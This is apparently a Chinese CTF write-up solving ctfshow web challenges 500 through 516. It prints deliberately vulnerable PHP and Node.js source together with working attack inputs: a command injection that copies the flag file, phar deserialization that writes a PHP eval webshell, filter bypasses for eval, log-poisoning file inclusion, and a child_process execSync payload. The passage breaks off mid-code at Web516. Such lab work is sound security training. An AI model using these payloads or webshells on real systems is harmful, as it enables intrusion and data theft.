又加了一个功能

image-20230720080340629

读取 api/admin_db_backup.php 文件

<?php
session_start();
error_reporting(0);
$user= $_SESSION['user'];
$ret = array(
		"code"=>0,
		"msg"=>"查询失败",
		"count"=>0,
		"data"=>array()
	);
if($user){
	extract($_POST);
	shell_exec('mysqldump -u root -h 127.0.0.1 -proot --databases ctfshow > '.__DIR__.'/../backup/'.$db_path);
	if(file_exists(__DIR__.'/../backup/'.$db_path)){
		$ret['msg']='数据库备份成功';
	}else{
		$ret['msg']='数据库备份失败';
	}
	die(json_encode($ret));
}else{
	$ret['msg']='请登录后使用此功能';
	die(json_encode($ret));
}

这里可以变量覆盖实现命令注入

image-20230720081029783

image-20230720081829550

访问 a.txt

image-20230720081858552

# Web501

image-20230720082005139

没有什么新加入的模块,还是读取上一题数据库备份的文件

<?php
session_start();
error_reporting(0);
$user= $_SESSION['user'];
$ret = array(
		"code"=>0,
		"msg"=>"查询失败",
		"count"=>0,
		"data"=>array()
	);
if($user){
	extract($_POST);
	if(preg_match('/^zip|tar|sql$/', $db_format)){
		shell_exec('mysqldump -u root -h 127.0.0.1 -proot --databases ctfshow > '.__DIR__.'/../backup/'.date_format(date_create(),'Y-m-d').'.'.$db_format);
		if(file_exists(__DIR__.'/../backup/'.date_format(date_create(),'Y-m-d').'.'.$db_format)){
			$ret['msg']='数据库备份成功';
		}else{
			$ret['msg']='数据库备份失败';
		}
	}else{
		$ret['msg']='数据库备份失败';
	}
	
	die(json_encode($ret));
}else{
	$ret['msg']='请登录后使用此功能';
	die(json_encode($ret));
}

image-20230720082544640

加了一点限制,但是不影响命令注入

image-20230720083039564

image-20230720083022087

# Web502

image-20230720083235919

没新东西,还是读数据库备份的文件

<?php
session_start();
include('../render/db_class.php');
error_reporting(0);
$user= $_SESSION['user'];
$pre=__DIR__.'/../backup/'.date_format(date_create(),'Y-m-d').'/db.';
$ret = array(
		"code"=>0,
		"msg"=>"查询失败",
		"count"=>0,
		"data"=>array()
	);
if($user){
	extract($_POST);
	if(file_exists($pre.$db_format)){
			$ret['msg']='数据库备份成功';
			die(json_encode($ret));
	}
	if(preg_match('/^(zip|tar|sql)$/', $db_format)){
		shell_exec('mysqldump -u root -h 127.0.0.1 -proot --databases ctfshow > '.$pre.$db_format);
		if(file_exists($pre.$db_format)){
			$ret['msg']='数据库备份成功';
		}else{
			$ret['msg']='数据库备份失败';
		}
	}else{
		$ret['msg']='数据库备份失败';
	}
	die(json_encode($ret));
}else{
	$ret['msg']='请登录后使用此功能';
	die(json_encode($ret));
}

image-20230720083434171

先判断传入的路径如果已经存在了就直接退出,但是不影响什么

db_format=zip&pre=1;cp+/f*+/var/www/html/a.txt;

image-20230720083937161

image-20230720084001460

# Web503

还读备份文件

<?php
session_start();
include('../render/db_class.php');
error_reporting(0);
$user= $_SESSION['user'];
$pre=__DIR__.'/../backup/'.date_format(date_create(),'Y-m-d').'/db.';
$ret = array(
		"code"=>0,
		"msg"=>"查询失败",
		"count"=>0,
		"data"=>array()
	);
if($user){
	extract($_POST);
	if(file_exists($pre.$db_format)){
			$ret['msg']='数据库备份成功';
			die(json_encode($ret));
	}
	if(preg_match('/^(zip|tar|sql)$/', $db_format)){
		shell_exec('mysqldump -u root -h 127.0.0.1 -proot --databases ctfshow > '.md5($pre.$db_format));
		if(file_exists($pre.$db_format)){
			$ret['msg']='数据库备份成功';
		}else{
			$ret['msg']='数据库备份失败';
		}
	}else{
		$ret['msg']='数据库备份失败';
	}
	die(json_encode($ret));
}else{
	$ret['msg']='请登录后使用此功能';
	die(json_encode($ret));
}

这里 MD5 包裹,确实没啥好办法利用了,又回头看写好的两个模块,发现配置这个地方多了一点东西

image-20230720090034143

果然也是发现了一个新的文件

image-20230720090143342

<?php
session_start();
error_reporting(0);
$user= $_SESSION['user'];
$ret = array(
		"code"=>0,
		"msg"=>"查询失败",
		"count"=>0,
		"data"=>array()
	);
if($user){
	$arr = $_FILES["file"];
	if(($arr["type"]=="image/jpeg" || $arr["type"]=="image/png" ) && $arr["size"]<10241000 )
	{
		$arr["tmp_name"];
		$filename = md5($arr['name']);
		$ext = pathinfo($arr['name'],PATHINFO_EXTENSION);
		if(!preg_match('/^php$/i', $ext)){
			$basename = "../img/".$filename.'.' . $ext;
			move_uploaded_file($arr["tmp_name"],$basename);
			$config = unserialize(file_get_contents(__DIR__.'/../config/settings'));
			$config['logo']=$filename.'.' . $ext;
			file_put_contents(__DIR__.'/../config/settings', serialize($config));
			$ret['msg']='文件上传成功';
		}
		
	}else{
		$ret['msg']='文件上传失败';
	}
	
	die(json_encode($ret));
}else{
	$ret['msg']='请登录后使用此功能';
	die(json_encode($ret));
}

这里可以文件上传,限制也不多,可以上传一个 phar 文件

image-20230720090806925

通过这个 file_exists 触发到达反序列化的目的,通过下面的 dblog 来写马

<?php
error_reporting(0);
class db{
	
	public $db;
	public $log;
	public $sql;
	public $username='root';
	public $password='root';
	public $port='3306';
	public $addr='127.0.0.1';
	public $database='ctfshow';
	public function __construct(){
		$this->log=new dbLog();
		$this->db=$this->getConnection();
	}
	public function getConnection(){
		 
		return new mysqli($this->addr,$this->username,$this->password,$this->database);
	}
	public  function select_one($sql){
		$this->sql=$sql;
		$result=$this->db->query($sql);
		if($result){
			return $result->fetch_object();
		}
	}
	public  function select_one_array($sql){
		$this->sql=$sql;
		$conn = db::getConnection();
		$result=$this->db->query($sql);
		if($result){
			return $result->fetch_assoc();
		}
	}
	public function update_one($sql){
		$this->sql=$sql;
		$conn = db::getConnection();
		$this->db->query($sql);
		return $this->db->affected_rows;
	}
	public function __destruct(){
		$this->log->log($this->sql);
	}
}
class dbLog{
	public $sql;
	public $content;
	public $log;
	public function __construct(){
		$this->log='log/'.date_format(date_create(),"Y-m-d").'.txt';
	}
	public function log($sql){
		$this->content = $this->content.date_format(date_create(),"Y-m-d-H-i-s").' '.$sql.' \r\n';
	}
	public function __destruct(){
		file_put_contents($this->log, $this->content,FILE_APPEND);
	}
}

这里去触发一下

image-20230720092359793

这里我上传的文件名是 1.png,这里 md 加密的也是 1.png

image-20230720092446415

连接一句话

image-20230720092332023

# Web504

万能密码到是一直能用

image-20230720093106360

这里看到新加入了功能,但是这题的文件读取不能用了,突破口肯定在新加入的功能

image-20230720093820420

看到这里有查看和下载,猜想有可能存在任意文件读取和任意文件下载,但是在测试的过程中都失败了

image-20230720093913861

看到新增模块,模块名称也是可控的,这里测试了一下,好像是限制了 php,这里想要使用 user.ini 和.htaccess 文件,经过测试也不行

回想之前有一个序列化的点,setting 文件中的内容会被序列化读出,可以覆盖其内容

<?php
class dblog{
    public $content='<?php @eval($_POST[a]);?>';
    public $log="1.php";
    public function __destruct(){
        file_put_contents($this->content,$this->log);
    }
}
echo (serialize(new dblog()));

image-20230720100320209

image-20230720100430441

# Web505

image-20230720100500954

某多多的既视感 \(o)/~

image-20230720100732604

又加了一个功能,老套路了

image-20230720100812596

任意文件读取换地方了 (**),先读一下本文件

<?php
session_start();
error_reporting(0);
$user= $_SESSION['user'];
$ret = array(
		"code"=>0,
		"msg"=>"查询失败",
		"count"=>0,
		"data"=>array()
	);
if($user){
	extract($_POST);
	if($debug==1 && preg_match('/^user/', file_get_contents($f))){
		include($f);
	}else{
		$ret['data']=array('contents'=>file_get_contents(__DIR__.'/../'.$name));
	}
	$ret['msg']='查看成功';
	die(json_encode($ret));
}else{
	$ret['msg']='请登录后使用此功能';
	die(json_encode($ret));
}

image-20230720101352530

变量覆盖,include 齐活了,先通过新增模块写一个一句话,再用这个 include 包含,新增的文件开头要有 user

image-20230720101742454

image-20230720101942658

# Web506

没有加新功能

<?php
session_start();
error_reporting(0);
$user= $_SESSION['user'];
$ret = array(
		"code"=>0,
		"msg"=>"查询失败",
		"count"=>0,
		"data"=>array()
	);
if($user){
	extract($_POST);
	$ext = substr($f, strlen($f)-3,3);
	if(preg_match('/php|sml|phar/i', $ext)){
		$ret['msg']='请不要使用此功能';
		die(json_encode($ret));
	}
	if($debug==1 && preg_match('/^user/', file_get_contents($f))){
		include($f);
	}else{
		$ret['data']=array('contents'=>file_get_contents(__DIR__.'/../'.$name));
	}
	$ret['msg']='查看成功';
	die(json_encode($ret));
}else{
	$ret['msg']='请登录后使用此功能';
	die(json_encode($ret));
}

对 f 传入的名字做了一个判断,但是没有影响,include 不认文件名,改一下上传的文件名不用 php|sml|phar 这三个扩展名就行,其他的没变化

# Web511

登录后通过文件查看模块将文件都 down 下来

/index.php

<?php
session_start();
include('render/render_class.php');
include('render/db_class.php');
$action=$_GET['action'];
if(!isset($action)){
	if(isset($_COOKIE['user'])){
		$c=$_COOKIE['user'];
		if(!preg_match('/\:|\,/', $c)){
			$user=unserialize($c);
		}
		if($user){
			templateUtil::render('index');
		}else{
			header('location:index.php?action=login');
		}
	}else{
		header('location:index.php?action=login');
	}
	die();	
}
switch ($action) {
	case 'check':
		extract($_POST);
		if(!preg_match('/file|or|innodb|sys|mysql/i', $username)){
			$sql = "select username,nickname,avatar from user where username = '".$username."' and password='".md5($password)."' order by id limit 1";
			$db=new db();
			$user=$db->select_one_array($sql);
		}
		if($user){
			$_SESSION['user']=$user;
			header('location:index.php?action=index');
		}else{
			templateUtil::render('error');
		}
		break;
	case 'clear':
		system('rm -rf cache/*');
		die('cache clear');
		break;
	case 'login':
		templateUtil::render($action);
		break;
	case 'index':
		$user=$_SESSION['user'];
		if($user){
			templateUtil::render('index',$user);
		}else{
			header('location:index.php?action=login');
		}
		break;
	case 'view':
		$user=$_SESSION['user'];
		if($user){
			templateUtil::render($_GET['page'],$user);
		}else{
			header('location:index.php?action=login');
		}
		break;
	case 'logout':
		session_destroy();
		header('location:index.php?action=login');
		break;
	default:
		templateUtil::render($action);
		break;
}

api/admin_templates.php

<?php
session_start();
include('../render/db_class.php');
error_reporting(0);
$user= $_SESSION['user'];
$ret = array(
		"code"=>0,
		"msg"=>"查询失败",
		"count"=>0,
		"data"=>array()
	);
$action=$_GET['action'];
if(!isset($user)){
	$ret['msg']='请登录后使用此功能';
	die(json_encode($ret));
}
switch ($action) {
	case 'list':
		$sql = "select id,name,type,path,des from templates limit 0,10";
		$db=new db();
		$temps = $db->select_array($sql);
		if(count($temps)>0){
			$ret['count']=count($temps);
			$ret['data']=$temps;
			$ret['msg']='查询成功';
		}
		break;
	case 'update':
		extract($_POST);
		$row=json_decode($row);
		if(waf($row)){
			break;
		}
		$sql ="update templates set name='{$row->name}',path='{$row->path}',type='{$row->type}',des='{$row->des}' where id ={$row->id}";
		$db = new db();
		if($db->update_one($sql)){
			$ret['msg']='实时更新成功';
		}else{
			$ret['msg']='实时更新失败';
		}
		break;
	case 'getContents':
		extract($_POST);
		$template=json_decode($template);
		if(preg_match('/^(?!_)(?!.*?_$)[a-zA-Z0-9_\/\\u4e00-\u9fa5]+$/', $template->path)){
			$ret['count']=1;
			$ret['msg']='查询成功';
			$ret['data']=array('contents'=>htmlspecialchars(file_get_contents(__DIR__.'/../templates/'.$template->path)));
		}
		break;
	case 'download':
		extract($_POST);
		if(preg_match('/^(?!_)(?!.*?_$)[a-zA-Z0-9_\/\u4e00-\u9fa5]+$/', $path)){
			header("Content-Type: application/octet-stream"); 
			header('Content-Disposition:  attachment; filename="' . $path. '"');
			echo file_get_contents(__DIR__.'/../templates/'.$path);
			exit();
		}
		break;
	case 'upload':
		extract($_POST);
		if(!preg_match('/php|phar|ini|settings/i', $name))
		{	
			if(preg_match('/<|>|\?|php|=|script|,|;|\(/i', $content)){
				$ret['msg']='文件上传失败';
			}else{
				file_put_contents(__DIR__.'/../templates/'.$name, $content);
				$ret['msg']='文件上传成功';
			}
			
		}else{
			$ret['msg']='文件上传失败';
		}
		break;
	default:
		# code...
		break;
}
function waf($row){
	$ret = false;
	if(!preg_match('/^(?!_)(?!.*?_$)[a-zA-Z0-9_\u4e00-\u9fa5]+$/', $row->name)){
		$ret=true;
	}
	if(!preg_match('/^(?!_)(?!.*?_$)[a-zA-Z0-9_\u4e00-\u9fa5]+$/', $row->type)){
		$ret=true;
	}
	if(!preg_match('/^(?!_)(?!.*?_$)[a-zA-Z0-9_\u4e00-\u9fa5]+$/', $row->des)){
		$ret=true;
	}
	if(!preg_match('/^(?!_)(?!.*?_$)[a-zA-Z0-9_\u4e00-\u9fa5]+$/', $row->path)){
		$ret=true;
	}
	if(!preg_match('/^(?!_)(?!.*?_$)[a-zA-Z0-9_\u4e00-\u9fa5]+$/', $row->id)){
		$ret=true;
	}
	return $ret;
}
die(json_encode($ret));

api/admin_edit.php

<?php
session_start();
include('../render/db_class.php');
error_reporting(0);
$user= $_SESSION['user'];
$ret = array(
		"code"=>0,
		"msg"=>"查询失败",
		"count"=>0,
		"data"=>array()
	);
if($user){
	extract($_POST);
	if(preg_match('/\'|\"|\\\/', $avatar)){
		$ret['msg']='存在无效字符';
		die(json_encode($ret));
	}
	$sql = "update user set nickname='".substr($nickname, 0,8)."',avatar='".$avatar."' where username='".substr($user['username'],0,8)."'";
	$db=new db();
	if($db->update_one($sql)){
		$_SESSION['user']['nickname']=$nickname;
		$_SESSION['user']['avatar']=$avatar;
		$ret['msg']='管理员信息修改成功';
	}else{
		$ret['msg']='管理员信息修改失败';
	}
	die(json_encode($ret));
}else{
	$ret['msg']='请登录后使用此功能';
	die(json_encode($ret));
}

api/admin_file_view.php

<?php
session_start();
error_reporting(0);
$user= $_SESSION['user'];
$ret = array(
		"code"=>0,
		"msg"=>"查询失败",
		"count"=>0,
		"data"=>array()
	);
if($user){
	extract($_POST);
        if(preg_match('/php|sml|phar|\:|data|file|sess/i', $f)){
                $ret['msg']='请不要使用此功能';
                die(json_encode($ret));
        }
        if($debug==1 && preg_match('/^user/', file_get_contents($f))){
                include($f);
        }else{
                $ret['data']=array('contents'=>file_get_contents(__DIR__.'/../'.$name));
        }
        $ret['msg']='查看成功';
        die(json_encode($ret));
}else{
	$ret['msg']='请登录后使用此功能';
	die(json_encode($ret));
}

render/render_class.php

<?php
include('file_class.php');
include('cache_class.php');
class templateUtil {
	public static function render($template,$arg=array()){
		$templateContent=fileUtil::read('templates/'.$template.'.sml');
		$cache=templateUtil::shade($templateContent,$arg);
		echo $cache;
	}
	public static  function shade($templateContent,$arg=array()){
		$templateContent=templateUtil::checkImage($templateContent,$arg);
		$templateContent=templateUtil::checkConfig($templateContent);
		$templateContent=templateUtil::checkVar($templateContent,$arg);
		foreach ($arg as $key => $value) {
			$templateContent=str_replace('{ {'.$key.'} }', $value, $templateContent);
		}
		return $templateContent;
	}
	public static function checkImage($templateContent,$arg=array()){
		foreach ($arg as $key => $value) {
			if(preg_match('/gopher|file/i', $value)){
				$templateContent=str_replace('{ {img:'.$key.'} }', '', $templateContent);
			}
			if(stripos($templateContent, '{ {img:'.$key.'} }')){
				$encode='';
				if(file_exists(__DIR__.'/../cache/'.md5($value))){
					$encode=file_get_contents(__DIR__.'/../cache/'.md5($value));
				}else{
					$ch=curl_init($value);
					curl_setopt($ch, CURLOPT_HEADER, 0);
					curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
					$result=curl_exec($ch);
					curl_close($ch);
					$ret=chunk_split(base64_encode($result));
					$encode = 'data:image/jpg/png/gif;base64,' . $ret;
					file_put_contents(__DIR__.'/../cache/'.md5($value), $encode);
				}
				$templateContent=str_replace('{ {img:'.$key.'} }', $encode, $templateContent);
			}
			
		}
		return $templateContent;
	}
	public static function checkConfig($templateContent){
		$config = unserialize(file_get_contents(__DIR__.'/../config/settings'));
		foreach ($config as $key => $value) {
			if(stripos($templateContent, '{ {config:'.$key.'} }')){
				$templateContent=str_replace('{ {config:'.$key.'} }', $value, $templateContent);
			}
			
		}
		return $templateContent;
	}
	public static function checkVar($templateContent,$arg){
		foreach ($arg as $key => $value) {
			if(stripos($templateContent, '{ {var:'.$key.'} }')){
				eval('$v='.$value.';');
				$templateContent=str_replace('{ {var:'.$key.'} }', $v, $templateContent);
			}
		}
		return $templateContent;
	}
}

现在 phpstorm 将文件目录结构建立,可以看到 checkVar 中有一个 eval

image-20230720110517383

接着寻找调用 checkVar 的地方,同一个文件下看到 shade 有调用

image-20230720110620554

接着往回找

image-20230720110710402

image-20230720110756793

这里只有两处有 arg 参数的调用

image-20230720110900718

而且这里的参数都是从 session 中拿到,这里只要能控制 user 就可以了,登录的时候注入进去即可

image-20230720124334479

image-20230720112425580

这里只要上传一个包含

{ {var:'$key.'} }

的文件,且不在第一个位置即可

image-20230720124354300

image-20230720124409658

读 flag

image-20230720124430460

# Web512

<?php
include('file_class.php');
include('cache_class.php');
class templateUtil {
	public static function render($template,$arg=array()){
		$templateContent=fileUtil::read('templates/'.$template.'.sml');
		$cache=templateUtil::shade($templateContent,$arg);
		echo $cache;
	}
	public static  function shade($templateContent,$arg=array()){
		$templateContent=templateUtil::checkImage($templateContent,$arg);
		$templateContent=templateUtil::checkConfig($templateContent);
		$templateContent=templateUtil::checkVar($templateContent,$arg);
		foreach ($arg as $key => $value) {
			$templateContent=str_replace('{ {'.$key.'} }', $value, $templateContent);
		}
		return $templateContent;
	}
	public static function checkImage($templateContent,$arg=array()){
		foreach ($arg as $key => $value) {
			if(preg_match('/gopher|file/i', $value)){
				$templateContent=str_replace('{ {img:'.$key.'} }', '', $templateContent);
			}
			if(stripos($templateContent, '{ {img:'.$key.'} }')){
				$encode='';
				if(file_exists(__DIR__.'/../cache/'.md5($value))){
					$encode=file_get_contents(__DIR__.'/../cache/'.md5($value));
				}else{
					$ch=curl_init($value);
					curl_setopt($ch, CURLOPT_HEADER, 0);
					curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
					$result=curl_exec($ch);
					curl_close($ch);
					$ret=chunk_split(base64_encode($result));
					$encode = 'data:image/jpg/png/gif;base64,' . $ret;
					file_put_contents(__DIR__.'/../cache/'.md5($value), $encode);
				}
				$templateContent=str_replace('{ {img:'.$key.'} }', $encode, $templateContent);
			}
			
		}
		return $templateContent;
	}
	public static function checkConfig($templateContent){
		$config = unserialize(file_get_contents(__DIR__.'/../config/settings'));
		foreach ($config as $key => $value) {
			if(stripos($templateContent, '{ {config:'.$key.'} }')){
				$templateContent=str_replace('{ {config:'.$key.'} }', $value, $templateContent);
			}
			
		}
		return $templateContent;
	}
	public static function checkVar($templateContent,$arg){
		$db=new db();
		foreach ($arg as $key => $value) {
			if(stripos($templateContent, '{ {var:'.$key.'} }')){
				if(!preg_match('/\(|\[|\`|\'|\"|\+|nginx|\)|\]|include|data|text|filter|input|file|require|GET|POST|COOKIE|SESSION|file/i', $value)){
					eval('$v='.$value.';');
					$templateContent=str_replace('{ {var:'.$key.'} }', $v, $templateContent);
				}
				
			}
		}
		return $templateContent;
	}
}

这里对 value 的值加了一些限制,那么这里考虑绕过就行,其他的流程还是一样的

加模块

image-20230720124936070

这里贴一下群主的骚操作

1;
$a=<<<ctfshow
<?php includ
ctfshow;
$b=<<<ctfshow
e $
ctfshow;
$v1=<<<ctfshow
_POS
ctfshow;
$c=<<<ctfshow
T{1}?>
ctfshow;
$d=<<<ctfshow
1.php
ctfshow;
$e=clone $db;
$e->log->log=$d;
$e->log->content=$a.$b.$v1.$c;

image-20230720154402842

然后去调用一下 checkVar 方法

image-20230720154435369

image-20230720154446378

# Web513

<?php
include('file_class.php');
include('cache_class.php');
class templateUtil {
	public static function render($template,$arg=array()){
		$templateContent=fileUtil::read('templates/'.$template.'.sml');
		$cache=templateUtil::shade($templateContent,$arg);
		echo $cache;
	}
	public static  function shade($templateContent,$arg=array()){
		$templateContent=templateUtil::checkImage($templateContent,$arg);
		$templateContent=templateUtil::checkConfig($templateContent);
		$templateContent=templateUtil::checkVar($templateContent,$arg);
		$templateContent=templateUtil::checkFoot($templateContent);
		foreach ($arg as $key => $value) {
			$templateContent=str_replace('{ {'.$key.'} }', $value, $templateContent);
		}
		return $templateContent;
	}
	public static function checkImage($templateContent,$arg=array()){
		foreach ($arg as $key => $value) {
			if(preg_match('/gopher|file/i', $value)){
				$templateContent=str_replace('{ {img:'.$key.'} }', '', $templateContent);
			}
			if(stripos($templateContent, '{ {img:'.$key.'} }')){
				$encode='';
				if(file_exists(__DIR__.'/../cache/'.md5($value))){
					$encode=file_get_contents(__DIR__.'/../cache/'.md5($value));
				}else{
					$ch=curl_init($value);
					curl_setopt($ch, CURLOPT_HEADER, 0);
					curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
					$result=curl_exec($ch);
					curl_close($ch);
					$ret=chunk_split(base64_encode($result));
					$encode = 'data:image/jpg/png/gif;base64,' . $ret;
					file_put_contents(__DIR__.'/../cache/'.md5($value), $encode);
				}
				$templateContent=str_replace('{ {img:'.$key.'} }', $encode, $templateContent);
			}
			
		}
		return $templateContent;
	}
	public static function checkConfig($templateContent){
		$config = unserialize(file_get_contents(__DIR__.'/../config/settings'));
		foreach ($config as $key => $value) {
			if(stripos($templateContent, '{ {config:'.$key.'} }')){
				$templateContent=str_replace('{ {config:'.$key.'} }', $value, $templateContent);
			}
			
		}
		return $templateContent;
	}
	public static function checkVar($templateContent,$arg){
		$db=new db();
		foreach ($arg as $key => $value) {
			if(stripos($templateContent, '{ {var:'.$key.'} }')){
				if(!preg_match('/\(|\[|\`|\'|\$|\_|\<|\?|\"|\+|nginx|\)|\]|include|data|text|filter|input|file|GET|POST|COOKIE|SESSION|file/i', $value)){
					eval('$v='.$value.';');
					$templateContent=str_replace('{ {var:'.$key.'} }', $v, $templateContent);
				}
				
			}
		}
		return $templateContent;
	}
	public static function checkFoot($templateContent){
		if ( stripos($templateContent, '{ {cnzz} }')) {
			$config = unserialize(file_get_contents(__DIR__.'/../config/settings'));
			$foot = $config['cnzz'];
			if(is_file($foot)){
				$foot=file_get_contents($foot);
				include($foot);
			}
			
		}
		return $templateContent;
	}
}

这个文件中新加入了一个 checkFoot,原来的 checker 黑名单中加入了新的东西,不是很好利用,将目光转向 checkFoot

这里先去读取 setting 文件的内容,取 cnzz 指向的值,将这个值所代表的文件包含,先看 setting 中 snzz 指向什么

image-20230720165938829

这里可以看到,指向的是页面统计,这个值相当于下面这句话

image-20230720170122069

想要进 if 这个必须是一个文件,文件内容会作为下图的值被 include 包含

image-20230720170308801

image-20230720170530937

这个文件用于满足 if (stripos ($templateContent, ''))

image-20230720170641880

这个文件用于被 file_get_contents ($foot); 读取拿到内容

image-20230720170846381

这里用于 $foot = $config ['cnzz']; 的赋值,最后使用 view 渲染

image-20230720171029620

这里就成功了,ua 头写个马进去

image-20230720171405163

读取 flag

image-20230720171345339

# Web514

render/render_class.php

<?php
include('file_class.php');
include('cache_class.php');
class templateUtil {
	public static function render($template,$arg=array()){
		$templateContent=fileUtil::read('templates/'.$template.'.sml');
		$cache=templateUtil::shade($templateContent,$arg);
		echo $cache;
	}
	public static  function shade($templateContent,$arg=array()){
		$templateContent=templateUtil::checkImage($templateContent,$arg);
		$templateContent=templateUtil::checkConfig($templateContent);
		$templateContent=templateUtil::checkVar($templateContent,$arg);
		$templateContent=templateUtil::checkFoot($templateContent);
		foreach ($arg as $key => $value) {
			$templateContent=str_replace('{ {'.$key.'} }', $value, $templateContent);
		}
		return $templateContent;
	}
	public static function checkImage($templateContent,$arg=array()){
		foreach ($arg as $key => $value) {
			if(preg_match('/gopher|file/i', $value)){
				$templateContent=str_replace('{ {img:'.$key.'} }', '', $templateContent);
			}
			if(stripos($templateContent, '{ {img:'.$key.'} }')){
				$encode='';
				if(file_exists(__DIR__.'/../cache/'.md5($value))){
					$encode=file_get_contents(__DIR__.'/../cache/'.md5($value));
				}else{
					$ch=curl_init($value);
					curl_setopt($ch, CURLOPT_HEADER, 0);
					curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
					$result=curl_exec($ch);
					curl_close($ch);
					$ret=chunk_split(base64_encode($result));
					$encode = 'data:image/jpg/png/gif;base64,' . $ret;
					file_put_contents(__DIR__.'/../cache/'.md5($value), $encode);
				}
				$templateContent=str_replace('{ {img:'.$key.'} }', $encode, $templateContent);
			}
			
		}
		return $templateContent;
	}
	public static function checkConfig($templateContent){
		$config = unserialize(file_get_contents(__DIR__.'/../config/settings'));
		foreach ($config as $key => $value) {
			if(stripos($templateContent, '{ {config:'.$key.'} }')){
				$templateContent=str_replace('{ {config:'.$key.'} }', $value, $templateContent);
			}
			
		}
		return $templateContent;
	}
	public static function checkVar($templateContent,$arg){
		$db=new db();
		foreach ($arg as $key => $value) {
			if(stripos($templateContent, '{ {var:'.$key.'} }')){
				if(!preg_match('/\(|\[|\`|\'|\$|\_|\<|\?|\"|\+|nginx|\)|\]|include|data|text|filter|input|file|GET|POST|COOKIE|SESSION|file/i', $value)){
					eval('$v='.$value.';');
					$templateContent=str_replace('{ {var:'.$key.'} }', $v, $templateContent);
				}
				
			}
		}
		return $templateContent;
	}
	public static function checkFoot($templateContent){
		if ( stripos($templateContent, '{ {cnzz} }')) {
			$config = unserialize(file_get_contents(__DIR__.'/../config/settings'));
			$foot = $config['cnzz'];
			if(is_file($foot)){
				$foot=file_get_contents($foot);
				if(!preg_match('/<|>|\?|=|php|sess|log|phar|\.|\[|\{|\(|_/', $foot)){
					include($foot);
				}
				
			}
			
		}
		return $templateContent;
	}
}

这里读取上一个利用点的文件 ,这里加了很多限制

api/admin_templates.php

<?php
session_start();
include('../render/db_class.php');
error_reporting(0);
$user= $_SESSION['user'];
$ret = array(
		"code"=>0,
		"msg"=>"查询失败",
		"count"=>0,
		"data"=>array()
	);
$action=$_GET['action'];
if(!isset($user)){
	$ret['msg']='请登录后使用此功能';
	die(json_encode($ret));
}
switch ($action) {
	case 'list':
		$sql = "select id,name,type,path,des from templates limit 0,10";
		$db=new db();
		$temps = $db->select_array($sql);
		if(count($temps)>0){
			$ret['count']=count($temps);
			$ret['data']=$temps;
			$ret['msg']='查询成功';
		}
		break;
	case 'update':
		extract($_POST);
		$row=json_decode($row);
		if(waf($row)){
			break;
		}
		$sql ="update templates set name='{$row->name}',path='{$row->path}',type='{$row->type}',des='{$row->des}' where id ={$row->id}";
		$db = new db();
		if($db->update_one($sql)){
			$ret['msg']='实时更新成功';
		}else{
			$ret['msg']='实时更新失败';
		}
		break;
	case 'getContents':
		extract($_POST);
		$template=json_decode($template);
		if(preg_match('/^(?!_)(?!.*?_$)[a-zA-Z0-9_\/\\u4e00-\u9fa5]+$/', $template->path)){
			$ret['count']=1;
			$ret['msg']='查询成功';
			$ret['data']=array('contents'=>htmlspecialchars(file_get_contents(__DIR__.'/../templates/'.$template->path)));
		}
		break;
	case 'download':
		extract($_POST);
		if(preg_match('/^(?!_)(?!.*?_$)[a-zA-Z0-9_\/\u4e00-\u9fa5]+$/', $path)){
			header("Content-Type: application/octet-stream"); 
			header('Content-Disposition:  attachment; filename="' . $path. '"');
			echo file_get_contents(__DIR__.'/../templates/'.$path);
			exit();
		}
		break;
	case 'upload':
		extract($_POST);
		if(!preg_match('/php|phar|ini|settings/i', $name))
		{	
			if(preg_match('/<|>|\?|php|=|script|,|;|\(/i', $content)){
				$ret['msg']='文件上传失败';
			}else{
				file_put_contents(__DIR__.'/../templates/'.$name, $content);
				$ret['msg']='文件上传成功';
			}
			
		}else{
			$ret['msg']='文件上传失败';
		}
		break;
	default:
		# code...
		break;
}
function waf($row){
	$ret = false;
	if(!preg_match('/^(?!_)(?!.*?_$)[a-zA-Z0-9_\u4e00-\u9fa5]+$/', $row->name)){
		$ret=true;
	}
	if(!preg_match('/^(?!_)(?!.*?_$)[a-zA-Z0-9_\u4e00-\u9fa5]+$/', $row->type)){
		$ret=true;
	}
	if(!preg_match('/^(?!_)(?!.*?_$)[a-zA-Z0-9_\u4e00-\u9fa5]+$/', $row->des)){
		$ret=true;
	}
	if(!preg_match('/^(?!_)(?!.*?_$)[a-zA-Z0-9_\u4e00-\u9fa5]+$/', $row->path)){
		$ret=true;
	}
	if(!preg_match('/^(?!_)(?!.*?_$)[a-zA-Z0-9_\u4e00-\u9fa5]+$/', $row->id)){
		$ret=true;
	}
	return $ret;
}
die(json_encode($ret));

image-20230720174447621

将目光放到这里,这里有一个文件上传功能,只要突破两个 if 就能成功上传文件,这里的 content 可以使用数组绕过,来写一个文件进去,通过上一题的利用思路包含这个文件来获得一个 shell

image-20230720180904966

image-20230720180225262

image-20230720181020544

渲染

image-20230720181132027

# Web515

image-20230720181220798

突然就 js 了,这里还给了一个文件

var express = require('express');
var _= require('lodash');
var router = express.Router();
/* GET users listing. */
router.get('/', function(req, res, next) {
  res.render('index', { title: '鎴戞槸澶嶈鏈�' });
});
router.post('/',function(req,res,next){
	if(req.body.user!=null){
		msg = req.body.user;
		if((msg.match(/proto|process|require|exec|var|'|"|:|\[|\]|[0-9]/))!==null || msg.length>40){
		  	res.render('index', { title: '鏁忔劅淇℃伅涓嶅璇�' });
		}else{
			res.render('index', { title: eval(msg) });
		}
	}else{
		res.render('index', { title: '鎴戞槸澶嶈鏈�' });
	}
	 
});
module.exports = router;

过滤了一些字符

页面也很明显,post 给 index.php {"user":"我是复读机"}, 这里 user 对应的值就是上面代码中的 msg

image-20230720184558676

这里嵌套一下就行

a=require( 'child_process' ).execSync( 'cat /flag' ).toString()
POST
{"user":"eval(req.query.a)"}

image-20230720184752203

# Web516

这个题直接给源码是个 nodejs

const router = require('koa-router')()
const User = require('../models/User.js')
const md5 = require('md5-node')
router.get('/', async (ctx, next) => {
	await ctx.render('index',{msg:'ctfshow'});
	await next();
});
router.post('/signin',async(ctx,next)=>{
  const username = ctx.request.body.username;
  const password = ctx.request.body.password;
  if(username=='admin'){
  	ctx.body={
  		code:'403',
  		msg:'you are not admin'
  	};
  	return;
  }
  const user = await User.findAll({
  	where:{
  		username:username,
  		password:password
  	}
  });
  if(user[0]!==undefined){
  	ctx.body={
  		code:'200',
  		url:'user/'+user[0].id
  	}
  }else{
  	ctx.body={
